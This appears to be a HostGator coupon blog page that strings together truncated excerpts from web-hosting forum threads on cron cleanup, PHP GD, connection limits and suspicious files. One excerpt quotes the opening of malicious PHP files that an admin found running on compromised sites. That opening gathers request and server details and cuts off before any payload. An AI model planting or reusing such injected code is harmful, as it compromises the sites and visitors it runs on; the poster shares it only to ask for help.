Get discount now! Best HostGator Coupon Codes you’ll find!
In: Web Hosting
29 Aug 2010Hello, Does anyone know how to set up a cron in centos to auto delete old /tmp directory files. It would be appreciated. Thanks. dave_j replied: A PHP script something like the following will do it. You can then use cron to run the script when needed. Adjust the last line so that it points [...]
I’m working on bringing in a bunch of sites from an acquisition, and I had noticed that php-cgi process were spawned and taking 100% CPU. Looking into those processes, they were running PHP files with filenames that contained digits (ie: 157681.php), with content like the following: Code: <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI); $d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF); $e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING); $f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER); $g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT); [...]
In: VPS
28 Jul 2010Hello! I have php5 fastgi installed on my VPs with nginx. They are both working fine but GD doesn’t work. GD is installed – How do I configure it to work with nginx? Jack. BTCentral Ben replied: If you haven’t already: PHP Code: yum install php-gd Then create a new php file with the following: PHP Code: [...]
I installed last limitipconn module on apache 2.x (CPanel Server) How can limit ip connection for download .avi .mp3 .mp4 .vmw .exe for all /home directory and sub-directory? Please help me … Is it a true setting? Code: <IfModule mod_limitipconn.c> <Location /home> MaxConnPerIP 3 OnlyIPLimit audio/mpeg video </Location> </IfModule> Regards, Kalle KADOO gozargah replied: Any [...]
Dears I have received an email from someone saying the following and with an attachment open.html containing this code. Can someone tell me what is this? I opened this file from Firefox in Win7 and on Firefox on Ubuntu: PLEASE HELP. Is my computer in danger now? *****THE EMAIL******* Dear Customer, This e-mail was send [...]
Here you'll find a lot of useful information about HostGator Hosting not limited to HostGator reviews, HostGator coupon codes, HostGator discounts and special offers.